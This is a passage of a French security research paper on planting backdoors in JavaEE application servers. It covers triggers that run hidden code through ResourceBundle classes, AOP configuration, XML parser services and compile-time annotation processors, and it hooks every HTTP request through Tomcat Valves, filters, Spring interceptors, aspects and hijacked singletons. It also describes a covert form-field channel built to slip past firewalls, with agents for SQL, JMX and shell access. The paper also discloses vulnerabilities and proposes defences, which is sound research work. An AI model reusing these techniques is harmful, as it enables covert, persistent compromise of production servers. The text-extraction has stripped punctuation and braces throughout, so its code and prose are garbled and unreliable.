A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
392 Porte derobee dans les serveurs drsquoapplications JavaEE
En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee
Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins
Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet
Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant
ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN
httpwwweclipseorgaspectjdtdaspectjdtdgt
ltaspectj gt
ltweaver gt
ltinclude within= Servlet gt
ltinclude within=jsp gt
ltweaver gt
ltaspects gt
ltaspect
name=comgooglecodemacaronMyAspect gt
ltaspects gt
ltaspectj gt
Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs
ResourceBundlegetBundle(Messages)get(hello)
Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements
P Prados 393
Fig 2 Lecture de properties
du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee
Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties
Fig 3 Lecture de properties avec classes
Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur
public static class Messages
extends PropertyResourceBundle
public Messages () throws IOException
super(MessagesclassgetResourceAsStream(
rsquorsquo+MessagesclassgetName ()
replace(rsquorsquorsquorsquo)+properties))
Inject code here
394 Porte derobee dans les serveurs drsquoapplications JavaEE
De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava
Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non
Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
Object run()
ResourceBundlegetBundle(innocent)
getString(key) Oups
return null
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins
Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee
Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation
ltcontextcomponent -scan base -package=orgmonprojetgt
Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
